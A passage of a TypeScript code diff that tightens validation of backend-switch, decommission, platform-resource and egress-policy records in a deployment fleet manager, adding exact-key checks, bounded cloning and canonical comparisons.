+      'artifactVersion',
+      'releaseSchemaVersion',
+      'application',
+      'topology',
+      'maintenance',
+    ],
+    [],
+    'backend switch state has invalid candidate snapshot',
+  );
   const topology = release.topology;
   const maintenance = release.maintenance;
+  if (
+    maintenance &&
+    typeof maintenance === 'object' &&
+    !Array.isArray(maintenance)
+  ) {
+    requireExactKeys(
+      maintenance as Record<string, unknown>,
+      ['receipt', 'specDigest'],
+      [],
+      'backend switch state has invalid candidate snapshot',
+    );
+  }
   if (
     typeof release.physicalScriptName !== 'string' ||
     !isDeploymentScriptName(release.physicalScriptName) ||
@@ -568,6 +747,18 @@ function decommissionReleaseSnapshot(
     throw new Error(`backend switch state has invalid ${label}`);
   }
   const release = value as Record<string, unknown>;
+  requireExactKeys(
+    release,
+    [
+      'physicalScriptName',
+      'specDigest',
+      'artifactVersion',
+      'releaseSchemaVersion',
+      'application',
+    ],
+    ['topology'],
+    `backend switch state has invalid ${label}`,
+  );
   if (
     typeof release.physicalScriptName !== 'string' ||
     !isDeploymentScriptName(release.physicalScriptName) ||
@@ -618,6 +809,25 @@ function backendSwitchPlatformTarget(
     throw new Error('backend switch state has invalid target');
   }
   const target = value as Record<string, unknown>;
+  requireExactKeys(
+    target,
+    [
+      'maintenanceCapabilityPublicKey',
+      'stateArtifactDigest',
+      'stateDurableObjectHistoryDigest',
+      'd1SchemaVersion',
+      'd1SchemaHistoryDigest',
+      'outboundPolicy',
+    ],
+    [
+      'auditQueueName',
+      'stateDurableObjectTag',
+      'stateEgressCredentialDigest',
+      'egressArtifactDigest',
+      'sharedOutboundWorkerName',
+    ],
+    'backend switch state has invalid target',
+  );
   const outbound = target.outboundPolicy as Record<string, unknown> | undefined;
   if (
     typeof target.stateArtifactDigest !== 'string' ||
@@ -702,11 +912,108 @@ function decommissionSnapshot(
   target: ExternalPlatformTargetDescription,
   tenantTag: string,
   environment: string,
+  prior: PlainBackendSnapshot,
+  restoredArtifactVersion: string | undefined,
+  providerTargetSpecDigest: string,
 ): BackendSwitchDecommissionSnapshot {
   if (!value || typeof value !== 'object' || Array.isArray(value)) {
     throw new Error('backend switch state has invalid decommission snapshot');
   }
   const snapshot = value as Record<string, unknown>;
+  requireExactKeys(
+    snapshot,
+    [
+      'routeHostname',
+      'routeTargets',
+      'desiredSpecDigest',
+      'target',
+      'releases',
+      'applicationResources',
+    ],
+    [
+      'prior',
+      'restoredArtifactVersion',
+      'entryPendingArtifactVersion',
+      'entryPendingNamespaceIds',
+      'providerTargetSpecDigest',
+      'bridge',
+      'resources',
+      'bridgePlan',
+    ],
+    'backend switch state has invalid decommission snapshot',
+  );
+  const compatibilityKeys = [
+    'prior',
+    'restoredArtifactVersion',
+    'entryPendingArtifactVersion',
+    'entryPendingNamespaceIds',
+    'providerTargetSpecDigest',
+  ] as const;
+  const presentCompatibilityKeys = compatibilityKeys.filter((key) =>
+    Object.hasOwn(snapshot, key),
+  );
+  if (
+    presentCompatibilityKeys.length !== 0 &&
+    presentCompatibilityKeys.length !== compatibilityKeys.length
+  ) {
+    throw new Error('backend switch state has invalid decommission snapshot');
+  }
+  const hasCompatibilityGroup =
+    presentCompatibilityKeys.length === compatibilityKeys.length;
+  const parsedCompatibilityPrior = hasCompatibilityGroup
+    ? plainSnapshot(snapshot.prior)
+    : undefined;
+  const parsedRestoredArtifactVersion = hasCompatibilityGroup
+    ? snapshot.restoredArtifactVersion === null
+      ? null
+      : typeof snapshot.restoredArtifactVersion === 'string' &&
+          snapshot.restoredArtifactVersion.length > 0
+        ? snapshot.restoredArtifactVersion
+        : (() => {
+            throw new Error(
+              'backend switch state has invalid decommission snapshot',
+            );
+          })()
+    : undefined;
+  const parsedEntryPendingArtifactVersion = hasCompatibilityGroup
+    ? snapshot.entryPendingArtifactVersion === null
+      ? null
+      : typeof snapshot.entryPendingArtifactVersion === 'string' &&
+          snapshot.entryPendingArtifactVersion.length > 0
+        ? snapshot.entryPendingArtifactVersion
+        : (() => {
+            throw new Error(
+              'backend switch state has invalid decommission snapshot',
+            );
+          })()
+    : undefined;
+  const parsedEntryPendingNamespaceIds = hasCompatibilityGroup
+    ? snapshot.entryPendingNamespaceIds === null
+      ? null
+      : stringArray(
+          snapshot.entryPendingNamespaceIds,
+          'entry pending namespaces',
+        )
+    : undefined;
+  if (
+    hasCompatibilityGroup &&
+    (JSON.stringify(parsedCompatibilityPrior) !== JSON.stringify(prior) ||
+      parsedRestoredArtifactVersion !== (restoredArtifactVersion ?? null) ||
+      (parsedEntryPendingArtifactVersion === null) !==
+        (parsedEntryPendingNamespaceIds === null) ||
+      typeof snapshot.providerTargetSpecDigest !== 'string' ||
+      !isSha256(snapshot.providerTargetSpecDigest) ||
+      snapshot.providerTargetSpecDigest !== providerTargetSpecDigest ||
+      (parsedEntryPendingNamespaceIds !== null &&
+        JSON.stringify(parsedEntryPendingNamespaceIds) !==
+          JSON.stringify(
+            [...(parsedEntryPendingNamespaceIds ?? [])].sort((left, right) =>
+              left < right ? -1 : left > right ? 1 : 0,
+            ),
+          )))
+  ) {
+    throw new Error('backend switch state has invalid decommission snapshot');
+  }
   if (
     typeof snapshot.routeHostname !== 'string' ||
     snapshot.routeHostname.length === 0 ||
@@ -734,6 +1041,12 @@ function decommissionSnapshot(
         );
       }
       const progress = entry as Record<string, unknown>;
+      requireExactKeys(
+        progress,
+        ['release', 'subphase'],
+        [],
+        'backend switch state has invalid decommission release progress',
+      );
       if (
         progress.subphase !== 'present' &&
         progress.subphase !== 'delete-authorized' &&
@@ -878,6 +1191,12 @@ function decommissionSnapshot(
       throw new Error('backend switch state has invalid decommission route');
     }
     const entry = value as Record<string, unknown>;
+    requireExactKeys(
+      entry,
+      ['release', 'target', 'routeTarget'],
+      [],
+      'backend switch state has invalid decommission route',
+    );
     const release = decommissionReleaseSnapshot(
       entry.release,
       `decommission route release ${index}`,
@@ -928,6 +1247,21 @@ function decommissionSnapshot(
     throw new Error('backend switch decommission routes are not canonical');
   }
   return {
+    ...(hasCompatibilityGroup
+      ? {
+          prior: parsedCompatibilityPrior as PlainBackendSnapshot,
+          restoredArtifactVersion: parsedRestoredArtifactVersion as
+            | string
+            | null,
+          entryPendingArtifactVersion: parsedEntryPendingArtifactVersion as
+            | string
+            | null,
+          entryPendingNamespaceIds: parsedEntryPendingNamespaceIds as
+            | readonly string[]
+            | null,
+          providerTargetSpecDigest: snapshot.providerTargetSpecDigest as string,
+        }
+      : {}),
     routeHostname: snapshot.routeHostname,
     routeTargets,
     desiredSpecDigest: snapshot.desiredSpecDigest,
@@ -940,13 +1274,42 @@ function decommissionSnapshot(
   };
 }
 
-export function backendSwitchIntentFromUnknown(
-  value: unknown,
-): BackendSwitchIntent {
+function backendSwitchIntentFromPlain(value: unknown): BackendSwitchIntent {
   if (!value || typeof value !== 'object' || Array.isArray(value)) {
     throw new Error('backend switch state has invalid intent');
   }
   const intent = value as Record<string, unknown>;
+  const allowedKeys = new Set([
+    'kind',
+    'tenantTag',
+    'environment',
+    'prior',
+    'targetSpecDigest',
+    'targetApplication',
+    'target',
+    'rollbackUntil',
+    'subphase',
+    'bridgePlan',
+    'bridge',
+    'candidate',
+    'restoredArtifactVersion',
+    'databaseExport',
+    'applicationR2Progress',
+    'stateReconcileIntent',
+    'decommissionSnapshot',
+    'decommissionSnapshotSha256',
+    'decommissionEntrySubphase',
+  ]);
+  if (
+    Reflect.ownKeys(intent).some(
+      (key) =>
+        typeof key !== 'string' ||
+        !allowedKeys.has(key) ||
+        intent[key] === undefined,
+    )
+  ) {
+    throw new Error('backend switch state has invalid intent');
+  }
   if (
     intent.kind !== 'backend-switch' ||
     typeof intent.tenantTag !== 'string' ||
@@ -968,6 +1331,17 @@ export function backendSwitchIntentFromUnknown(
     intent.environment,
   );
   const parsedPrior = plainSnapshot(intent.prior);
+  const providerTargetSpecDigest =
+    intent.stateReconcileIntent &&
+    typeof intent.stateReconcileIntent === 'object' &&
+    !Array.isArray(intent.stateReconcileIntent) &&
+    typeof (intent.stateReconcileIntent as Record<string, unknown>)
+      .targetSpecDigest === 'string'
+      ? String(
+          (intent.stateReconcileIntent as Record<string, unknown>)
+            .targetSpecDigest,
+        )
+      : intent.targetSpecDigest;
   const parsedDecommissionSnapshot =
     intent.decommissionSnapshot === undefined
       ? undefined
@@ -976,6 +1350,11 @@ export function backendSwitchIntentFromUnknown(
           target,
           intent.tenantTag,
           intent.environment,
+          parsedPrior,
+          typeof intent.restoredArtifactVersion === 'string'
+            ? intent.restoredArtifactVersion
+            : undefined,
+          providerTargetSpecDigest,
         );
   const targetApplication = applicationBindingTopologyFromUnknown(
     intent.targetApplication,
@@ -985,6 +1364,25 @@ export function backendSwitchIntentFromUnknown(
     intent.applicationR2Progress !== undefined
       ? applicationR2Progress(intent.applicationR2Progress)
       : undefined;
+  const hasSnapshotDigest = intent.decommissionSnapshotSha256 !== undefined;
+  const hasEntrySubphase = intent.decommissionEntrySubphase !== undefined;
+  if (
+    hasSnapshotDigest !== hasEntrySubphase ||
+    (hasSnapshotDigest &&
+      (!parsedDecommissionSnapshot ||
+        typeof intent.decommissionSnapshotSha256 !== 'string' ||
+        !isSha256(intent.decommissionSnapshotSha256) ||
+        intent.decommissionSnapshotSha256 !==
+          backendSwitchDecommissionSnapshotDigest(
+            parsedDecommissionSnapshot as BackendSwitchDecommissionSnapshot,
+          ) ||
+        typeof intent.decommissionEntrySubphase !== 'string' ||
+        !BACKEND_SWITCH_SUBPHASES.includes(
+          intent.decommissionEntrySubphase as BackendSwitchSubphase,
+        )))
+  ) {
+    throw new Error('backend switch state has invalid decommission authority');
+  }
   if (
     parsedApplicationR2Progress &&
     JSON.stringify(
@@ -1060,6 +1458,12 @@ export function backendSwitchIntentFromUnknown(
             string,
             unknown
           >;
+          requireExactKeys(
+            reconciliation,
+            ['targetSpecDigest', 'plan', 'subphase'],
+            [],
+            'backend switch state has invalid state reconciliation intent',
+          );
           if (
             typeof reconciliation.targetSpecDigest !== 'string' ||
             !isSha256(reconciliation.targetSpecDigest) ||
@@ -1082,14 +1486,47 @@ export function backendSwitchIntentFromUnknown(
     ...(parsedDecommissionSnapshot !== undefined
       ? { decommissionSnapshot: parsedDecommissionSnapshot }
       : {}),
+    ...(hasSnapshotDigest
+      ? {
+          decommissionSnapshotSha256:
+            intent.decommissionSnapshotSha256 as string,
+          decommissionEntrySubphase:
+            intent.decommissionEntrySubphase as BackendSwitchSubphase,
+        }
+      : {}),
   };
 }
 
+export function backendSwitchIntentFromUnknown(
+  value: unknown,
+): BackendSwitchIntent {
+  let plain: unknown;
+  try {
+    plain = cloneBoundedPlainData(value, {
+      maxDepth: SWITCH_PLAIN_DATA_DEPTH_BOUND,
+      maxNodes: SWITCH_PLAIN_DATA_NODE_BOUND,
+      maxScalarBytes: SWITCH_PLAIN_DATA_BYTE_BOUND,
+      maxSerializedBytes: SWITCH_PLAIN_DATA_BYTE_BOUND,
+      error: () => new Error('backend switch state has invalid intent'),
+    });
+    Reflect.apply(STRUCTURED_CLONE, undefined, [value]);
+  } catch {
+    throw new Error('backend switch state has invalid intent');
+  }
+  return backendSwitchIntentFromPlain(plain);
+}
+
 function databaseExport(value: unknown): import('./types.js').DatabaseExport {
   if (!value || typeof value !== 'object' || Array.isArray(value)) {
     throw new Error('backend switch state has invalid database export');
   }
   const candidate = value as Record<string, unknown>;
+  requireExactKeys(
+    candidate,
+    ['databaseId', 'location', 'sha256', 'size'],
+    [],
+    'backend switch state has invalid database export',
+  );
   if (
     typeof candidate.databaseId !== 'string' ||
     candidate.databaseId.length === 0 ||
@@ -1106,89 +1543,1168 @@ function databaseExport(value: unknown): import('./types.js').DatabaseExport {
   return candidate as unknown as import('./types.js').DatabaseExport;
 }
 
-export interface BackendSwitchLease extends ExternalMutationFence {
-  get(): Promise<BackendSwitchIntent | undefined>;
-  put(intent: BackendSwitchIntent): Promise<void>;
-  current(): FleetRecord;
-  putOwnership(record: FleetRecord, intent: BackendSwitchIntent): Promise<void>;
+function fleetOutboundPolicyFromUnknown(
+  value: unknown,
+  tenantTag: string,
+  environment: string,
+): import('./types.js').DeploymentEgressPolicy {
+  if (!value || typeof value !== 'object' || Array.isArray(value)) {
+    throw new Error(BACKEND_SWITCH_RECORD_ERROR);
+  }
+  const policy = value as Record<string, unknown>;
+  requireExactKeys(
+    policy,
+    ['policyId', 'policyHosts', 'policyDigest'],
+    [],
+    BACKEND_SWITCH_RECORD_ERROR,
+  );
+  if (
+    typeof policy.policyId !== 'string' ||
+    !policy.policyId ||
+    !Array.isArray(policy.policyHosts) ||
+    policy.policyHosts.some((host) => typeof host !== 'string') ||
+    typeof policy.policyDigest !== 'string'
+  ) {
+    throw new Error(BACKEND_SWITCH_RECORD_ERROR);
+  }
+  const canonical = canonicalDeploymentEgressPolicy({
+    policyId: policy.policyId,
+    tenantTag,
+    environment,
+    allowedHosts: policy.policyHosts as string[],
+  });
+  if (!sameCanonicalData(canonical, policy)) {
+    throw new Error(BACKEND_SWITCH_RECORD_ERROR);
+  }
+  return canonical;
 }
 
-export type BackendSwitchMutationFence = ExternalMutationFence;
-
-export function finalizedBridgeForRecord(record: FleetRecord): BridgeSnapshot {
-  const intent = record.backendSwitchIntent;
-  const bridge = intent?.bridge;
-  const state = record.platformResources?.stateWorker;
+function fleetPlatformResourcesFromUnknown(
+  value: unknown,
+  tenantTag: string,
+  environment: string,
+  target: ExternalPlatformTargetDescription,
+): ExternalPlatformResources {
+  if (!value || typeof value !== 'object' || Array.isArray(value)) {
+    throw new Error(BACKEND_SWITCH_RECORD_ERROR);
+  }
+  const source = value as Record<string, unknown>;
+  requireExactKeys(
+    source,
+    ['maintenanceCapabilityPublicKey', 'stateWorker'],
+    [
+      'auditQueueName',
+      'outboundPolicy',
+      'sharedOutboundWorkerName',
+      'egressProxy',
+    ],
+    BACKEND_SWITCH_RECORD_ERROR,
+  );
+  const state = source.stateWorker;
+  if (!state || typeof state !== 'object' || Array.isArray(state)) {
+    throw new Error(BACKEND_SWITCH_RECORD_ERROR);
+  }
+  const stateWorker = state as Record<string, unknown>;
+  requireExactKeys(
+    stateWorker,
+    [
+      'scriptName',
+      'artifactVersion',
+      'artifactDigest',
+      'durableObjectBindings',
+      'namespaceIds',
+    ],
+    ['plane', 'dispatchNamespace', 'durableObjectTag'],
+    BACKEND_SWITCH_RECORD_ERROR,
+  );
   if (
-    intent?.subphase !== 'finalized' ||
-    !bridge?.stateOnly ||
-    bridge.publicRouteAttached ||
-    record.backend !== 'workers-for-platforms' ||
-    state?.plane !== 'ordinary' ||
-    bridge.scriptName !== record.scriptName ||
-    bridge.scriptName !== state.scriptName ||
-    bridge.databaseId !== record.databaseId ||
-    bridge.artifactVersion !== state.artifactVersion ||
-    bridge.artifactDigest !== state.artifactDigest ||
-    JSON.stringify(bridge.durableObjectBindings) !==
-      JSON.stringify(state.durableObjectBindings) ||
-    JSON.stringify(bridge.namespaceIds) !== JSON.stringify(state.namespaceIds)
+    typeof source.maintenanceCapabilityPublicKey !== 'string' ||
+    canonicalMaintenanceCapabilityPublicKey(
+      source.maintenanceCapabilityPublicKey,
+    ) !== source.maintenanceCapabilityPublicKey ||
+    typeof stateWorker.scriptName !== 'string' ||
+    !isDeploymentScriptName(stateWorker.scriptName) ||
+    typeof stateWorker.artifactVersion !== 'string' ||
+    !stateWorker.artifactVersion ||
+    typeof stateWorker.artifactDigest !== 'string' ||
+    !isSha256(stateWorker.artifactDigest) ||
+    (stateWorker.plane !== undefined &&
+      stateWorker.plane !== 'ordinary' &&
+      stateWorker.plane !== 'dispatch') ||
+    (stateWorker.dispatchNamespace !== undefined &&
+      (typeof stateWorker.dispatchNamespace !== 'string' ||
+        !stateWorker.dispatchNamespace)) ||
+    (stateWorker.plane === 'dispatch' &&
+      typeof stateWorker.dispatchNamespace !== 'string') ||
+    (stateWorker.durableObjectTag !== undefined &&
+      (typeof stateWorker.durableObjectTag !== 'string' ||
+        !stateWorker.durableObjectTag)) ||
+    (source.auditQueueName !== undefined &&
+      (typeof source.auditQueueName !== 'string' || !source.auditQueueName)) ||
+    (source.sharedOutboundWorkerName !== undefined &&
+      (typeof source.sharedOutboundWorkerName !== 'string' ||
+        !isDeploymentScriptName(source.sharedOutboundWorkerName)))
   ) {
-    throw new Error(
-      'finalized backend switch does not own an exact ordinary state bridge',
+    throw new Error(BACKEND_SWITCH_RECORD_ERROR);
+  }
+  const outboundPolicy =
+    source.outboundPolicy === undefined
+      ? undefined
+      : fleetOutboundPolicyFromUnknown(
+          source.outboundPolicy,
+          tenantTag,
+          environment,
+        );
+  let egressProxy: ExternalPlatformResources['egressProxy'];
+  if (source.egressProxy !== undefined) {
+    if (
+      !source.egressProxy ||
+      typeof source.egressProxy !== 'object' ||
+      Array.isArray(source.egressProxy)
+    ) {
+      throw new Error(BACKEND_SWITCH_RECORD_ERROR);
+    }
+    const proxy = source.egressProxy as Record<string, unknown>;
+    requireExactKeys(
+      proxy,
+      [
+        'scriptName',
+        'artifactVersion',
+        'artifactDigest',
+        'policyId',
+        'policyHosts',
+        'policyDigest',
+      ],
+      [],
+      BACKEND_SWITCH_RECORD_ERROR,
+    );
+    const policy = fleetOutboundPolicyFromUnknown(
+      {
+        policyId: proxy.policyId,
+        policyHosts: proxy.policyHosts,
+        policyDigest: proxy.policyDigest,
+      },
+      tenantTag,
+      environment,
     );
+    if (
+      typeof proxy.scriptName !== 'string' ||
+      !isDeploymentScriptName(proxy.scriptName) ||
+      typeof proxy.artifactVersion !== 'string' ||
+      !proxy.artifactVersion ||
+      typeof proxy.artifactDigest !== 'string' ||
+      !isSha256(proxy.artifactDigest)
+    ) {
+      throw new Error(BACKEND_SWITCH_RECORD_ERROR);
+    }
+    egressProxy = {
+      scriptName: proxy.scriptName,
+      artifactVersion: proxy.artifactVersion,
+      artifactDigest: proxy.artifactDigest,
+      ...policy,
+    };
   }
-  return bridge;
+  const resources: ExternalPlatformResources = {
+    ...(typeof source.auditQueueName === 'string'
+      ? { auditQueueName: source.auditQueueName }
+      : {}),
+    maintenanceCapabilityPublicKey: source.maintenanceCapabilityPublicKey,
+    stateWorker: {
+      scriptName: stateWorker.scriptName,
+      artifactVersion: stateWorker.artifactVersion,
+      artifactDigest: stateWorker.artifactDigest,
+      ...(stateWorker.plane === 'ordinary' || stateWorker.plane === 'dispatch'
+        ? { plane: stateWorker.plane }
+        : {}),
+      ...(typeof stateWorker.dispatchNamespace === 'string'
+        ? { dispatchNamespace: stateWorker.dispatchNamespace }
+        : {}),
+      ...(typeof stateWorker.durableObjectTag === 'string'
+        ? { durableObjectTag: stateWorker.durableObjectTag }
+        : {}),
+      durableObjectBindings: durableBindings(
+        stateWorker.durableObjectBindings,
+        'platform state bindings',
+      ),
+      namespaceIds: stringArray(
+        stateWorker.namespaceIds,
+        'platform state namespaces',
+      ),
+    },
+    ...(outboundPolicy ? { outboundPolicy } : {}),
+    ...(typeof source.sharedOutboundWorkerName === 'string'
+      ? { sharedOutboundWorkerName: source.sharedOutboundWorkerName }
+      : {}),
+    ...(egressProxy ? { egressProxy } : {}),
+  };
+  assertPlatformResourcesMatchTarget(resources, {
+    ...target,
+    stateArtifactDigest: resources.stateWorker.artifactDigest,
+  });
+  return resources;
 }
 
-export function assertBackendSwitchInactive(record: FleetRecord): void {
+function fleetMigrationIntentFromUnknown(
+  value: unknown,
+  tenantTag: string,
+  environment: string,
+): ExternalMigrationIntent {
+  if (!value || typeof value !== 'object' || Array.isArray(value)) {
+    throw new Error(BACKEND_SWITCH_RECORD_ERROR);
+  }
+  const source = value as Record<string, unknown>;
+  requireExactKeys(
+    source,
+    [
+      'targetSpecDigest',
+      'priorRelease',
+      'priorTarget',
+      'priorOutboundPolicy',
+      'targetRelease',
+      'target',
+      'subphase',
+    ],
+    ['platformOnly'],
+    BACKEND_SWITCH_RECORD_ERROR,
+  );
   if (
-    record.backendSwitchIntent &&
-    record.backendSwitchIntent.subphase !== 'rolled-back' &&
-    record.backendSwitchIntent.subphase !== 'finalized'
+    typeof source.targetSpecDigest !== 'string' ||
+    !isSha256(source.targetSpecDigest) ||
+    (source.platformOnly !== undefined && source.platformOnly !== true) ||
+    ![
+      'planned',
+      'schema-applied',
+      'platform-applied',
+      'candidate-deployed',
+      'candidate-armed',
+      'route-published',
+    ].includes(String(source.subphase))
   ) {
-    throw new Error(
-      `deployment '${record.tenantTag}:${record.environment}' has active backend switch '${record.backendSwitchIntent.subphase}'`,
+    throw new Error(BACKEND_SWITCH_RECORD_ERROR);
+  }
+  return {
+    ...(source.platformOnly === true ? { platformOnly: true as const } : {}),
+    targetSpecDigest: source.targetSpecDigest,
+    priorRelease: decommissionReleaseSnapshot(
+      source.priorRelease,
+      'migration prior release',
+    ),
+    priorTarget: backendSwitchPlatformTarget(
+      source.priorTarget,
+      tenantTag,
+      environment,
+    ),
+    priorOutboundPolicy: fleetOutboundPolicyFromUnknown(
+      source.priorOutboundPolicy,
+      tenantTag,
+      environment,
+    ),
+    targetRelease: decommissionReleaseSnapshot(
+      source.targetRelease,
+      'migration target release',
+    ),
+    target: backendSwitchPlatformTarget(source.target, tenantTag, environment),
+    subphase: source.subphase as ExternalMigrationIntent['subphase'],
+  };
+}
+
+function fleetMigrationHistoryFromUnknown(
+  value: unknown,
+): readonly import('./types.js').DurableObjectMigration[] {
+  if (!Array.isArray(value)) throw new Error(BACKEND_SWITCH_RECORD_ERROR);
+  for (const migration of value) {
+    if (
+      !migration ||
+      typeof migration !== 'object' ||
+      Array.isArray(migration)
+    ) {
+      throw new Error(BACKEND_SWITCH_RECORD_ERROR);
+    }
+    const item = migration as Record<string, unknown>;
+    requireExactKeys(
+      item,
+      ['tag'],
+      ['newSqliteClasses', 'newClasses', 'deletedClasses', 'renamedClasses'],
+      BACKEND_SWITCH_RECORD_ERROR,
     );
+    if (
+      typeof item.tag !== 'string' ||
+      !item.tag ||
+      ['newSqliteClasses', 'newClasses', 'deletedClasses'].some(
+        (key) =>
+          item[key] !== undefined &&
+          (!Array.isArray(item[key]) ||
+            (item[key] as unknown[]).some(
+              (entry) => typeof entry !== 'string',
+            )),
+      ) ||
+      (item.renamedClasses !== undefined &&
+        (!Array.isArray(item.renamedClasses) ||
+          item.renamedClasses.some(
+            (entry) =>
+              !entry ||
+              typeof entry !== 'object' ||
+              Array.isArray(entry) ||
+              typeof (entry as Record<string, unknown>).from !== 'string' ||
+              typeof (entry as Record<string, unknown>).to !== 'string',
+          )))
+    ) {
+      throw new Error(BACKEND_SWITCH_RECORD_ERROR);
+    }
   }
+  return value as readonly import('./types.js').DurableObjectMigration[];
 }
 
-async function withBackendSwitchLease<T>(
-  store: FleetStateStore,
-  tenantTag: string,
-  environment: string,
-  operation: (lease: BackendSwitchLease) => Promise<T>,
-): Promise<T> {
-  return store.withDeploymentLease(
-    tenantTag,
-    environment,
-    async (fleetLease) => {
-      let record = await store.get(tenantTag, environment);
-      if (!record) {
-        throw new Error(
-          `deployment '${tenantTag}:${environment}' is not provisioned`,
-        );
-      }
-      const lease: BackendSwitchLease = {
-        mutationLeaseTtlMs: fleetLease.mutationLeaseTtlMs,
-        assertOwned: () => fleetLease.assertOwned(),
+const BACKEND_SWITCH_RECORD_KEYS = [
+  'tenantTag',
+  'backend',
+  'environment',
+  'scriptName',
+  'databaseId',
+  'databaseName',
+  'schemaVersion',
+  'artifactVersion',
+  'desiredSpecDigest',
+  'pendingSpecDigest',
+  'pendingArtifactVersion',
+  'activeRelease',
+  'pendingRelease',
+  'migrationPriorRelease',
+  'rollbackRelease',
+  'retiringRelease',
+  'outboundPolicy',
+  'platformResources',
+  'platformTarget',
+  'migrationIntent',
+  'backendSwitchIntent',
+  'decommissionIntent',
+  'cleanupIntent',
+  'invocationAuthority',
+  'applicationResources',
+  'applicationBindings',
+  'durableObjectTag',
+  'durableObjectMigrationHistory',
+  'durableObjectMigrationHistoryDigest',
+  'durableObjectBindings',
+  'routeHostname',
+  'phase',
+  'databaseExportLocation',
+  'databaseExportSha256',
+  'databaseExportSize',
+  'settledSettlementKey',
+  'updatedAt',
+] as const;
+
+const BACKEND_SWITCH_REQUIRED_RECORD_KEYS = new Set([
+  'tenantTag',
+  'backend',
+  'environment',
+  'scriptName',
+  'databaseId',
+  'databaseName',
+  'schemaVersion',
+  'artifactVersion',
+  'desiredSpecDigest',
+  'durableObjectBindings',
+  'routeHostname',
+  'phase',
+  'updatedAt',
+  'backendSwitchIntent',
+]);
+
+function canonicalJsonValue(value: unknown): unknown {
+  if (Array.isArray(value)) return value.map(canonicalJsonValue);
+  if (!value || typeof value !== 'object') return value;
+  return Object.fromEntries(
+    Object.keys(value as Record<string, unknown>)
+      .sort((left, right) => (left < right ? -1 : left > right ? 1 : 0))
+      .map((key) => [
+        key,
+        canonicalJsonValue((value as Record<string, unknown>)[key]),
+      ]),
+  );
+}
+
+function sameCanonicalData(left: unknown, right: unknown): boolean {
+  return (
+    JSON.stringify(canonicalJsonValue(left)) ===
+    JSON.stringify(canonicalJsonValue(right))
+  );
+}
+
+export interface CanonicalBackendSwitchFleetRecord {
+  readonly record: FleetRecord;
+  readonly comparisonBytes: string;
+}
+
+/** @internal Descriptor-safe structural Fleet record and switch-authority classification. */
+export interface StructuralBackendSwitchFleetRecord {
+  readonly record: FleetRecord;
+  readonly carriesBackendSwitchAuthority: boolean;
+}
+
+/** @internal Single structural ingress policy for backend-switch-aware consumers. */
+export function structuralBackendSwitchFleetRecordFromUnknown(
+  value: unknown,
+): StructuralBackendSwitchFleetRecord {
+  try {
+    const plain = cloneBoundedPlainData(value, {
+      maxDepth: SWITCH_PLAIN_DATA_DEPTH_BOUND,
+      maxNodes: SWITCH_PLAIN_DATA_NODE_BOUND,
+      maxScalarBytes: SWITCH_PLAIN_DATA_BYTE_BOUND,
+      maxSerializedBytes: SWITCH_PLAIN_DATA_BYTE_BOUND,
+      error: () => new Error(BACKEND_SWITCH_RECORD_ERROR),
+    });
+    Reflect.apply(STRUCTURED_CLONE, undefined, [value]);
+    if (!plain || typeof plain !== 'object' || Array.isArray(plain)) {
+      throw new Error(BACKEND_SWITCH_RECORD_ERROR);
+    }
+    const source = plain as Record<string, unknown>;
+    const shell = source.decommissionIntent;
+    const identity =
+      shell && typeof shell === 'object' && !Array.isArray(shell)
+        ? (shell as Record<string, unknown>).identity
+        : undefined;
+    const mode =
+      identity && typeof identity === 'object' && !Array.isArray(identity)
+        ? (identity as Record<string, unknown>).mode
+        : undefined;
+    return {
+      record: source as unknown as FleetRecord,
+      carriesBackendSwitchAuthority:
+        Object.hasOwn(source, 'backendSwitchIntent') ||
+        Boolean(
+          mode &&
+            typeof mode === 'object' &&
+            !Array.isArray(mode) &&
+            (mode as Record<string, unknown>).kind === 'backend-switch',
+        ),
+    };
+  } catch {
+    throw new Error(BACKEND_SWITCH_RECORD_ERROR);
+  }
+}
+
+function canonicalFleetRecordFromSource(
+  source: Record<string, unknown>,
+  switchIntent: BackendSwitchIntent,
+  shell: DecommissionAdvanceIntent | undefined,
+  cleanupIntent: CleanupAdvanceIntent | undefined,
+  invocationAuthority: InvocationAuthorityCarrier | undefined,
+): FleetRecord {
+  // Cross-intent sources must not survive canonicalization even before
+  // validateRecordCrossFields runs: an active cleanup owns the whole record,
+  // and no switch-bearing record — settled or not — can legitimately carry a
+  // cleanup intent (cleanup admission is restricted to prepublication phases,
+  // which no switch record occupies).
+  if (cleanupIntent) {
+    throw new Error(BACKEND_SWITCH_RECORD_ERROR);
+  }
+  if (
+    typeof source.tenantTag !== 'string' ||
+    !isDeploymentTenantTag(source.tenantTag) ||
+    typeof source.environment !== 'string' ||
+    !isDeploymentEnvironment(source.environment) ||
+    (source.backend !== 'plain-worker' &&
+      source.backend !== 'workers-for-platforms') ||
+    typeof source.scriptName !== 'string' ||
+    !isDeploymentScriptName(source.scriptName) ||
+    typeof source.databaseId !== 'string' ||
+    !source.databaseId ||
+    typeof source.databaseName !== 'string' ||
+    !source.databaseName ||
+    !Number.isSafeInteger(source.schemaVersion) ||
+    Number(source.schemaVersion) < 0 ||
+    typeof source.artifactVersion !== 'string' ||
+    !source.artifactVersion ||
+    typeof source.desiredSpecDigest !== 'string' ||
+    !isSha256(source.desiredSpecDigest) ||
+    typeof source.routeHostname !== 'string' ||
+    !source.routeHostname ||
+    source.routeHostname !== source.routeHostname.toLowerCase() ||
+    typeof source.phase !== 'string' ||
+    !PROVISIONING_PHASES.includes(source.phase as ProvisioningPhase) ||
+    typeof source.updatedAt !== 'string' ||
+    !Number.isFinite(Date.parse(source.updatedAt)) ||
+    new Date(source.updatedAt).toISOString() !== source.updatedAt ||
+    switchIntent.tenantTag !== source.tenantTag ||
+    switchIntent.environment !== source.environment ||
+    switchIntent.prior.scriptName !== source.scriptName ||
+    switchIntent.prior.databaseId !== source.databaseId ||
+    switchIntent.prior.databaseName !== source.databaseName ||
+    source.routeHostname !==
+      switchIntent.prior.customDomain.hostname.toLowerCase() ||
+    (switchIntent.decommissionSnapshot !== undefined &&
+      switchIntent.decommissionSnapshot.routeHostname !== source.routeHostname)
+  ) {
+    throw new Error(BACKEND_SWITCH_RECORD_ERROR);
+  }
+  const tenantTag = source.tenantTag;
+  const environment = source.environment;
+  const applicationResources = Object.hasOwn(source, 'applicationResources')
+    ? applicationResourcesFromRecord(source.applicationResources)
+    : undefined;
+  const applicationBindings = Object.hasOwn(source, 'applicationBindings')
+    ? applicationBindingTopologyFromUnknown(
+        source.applicationBindings,
+        'Fleet application bindings',
+      )
+    : undefined;
+  if (
+    applicationBindings &&
+    !sameCanonicalData(
+      applicationBindings.r2Buckets,
+      (applicationResources ?? []).map(
+        ({ name, bucketName, jurisdiction }) => ({
+          name,
+          bucketName,
+          jurisdiction,
+        }),
+      ),
+    )
+  ) {
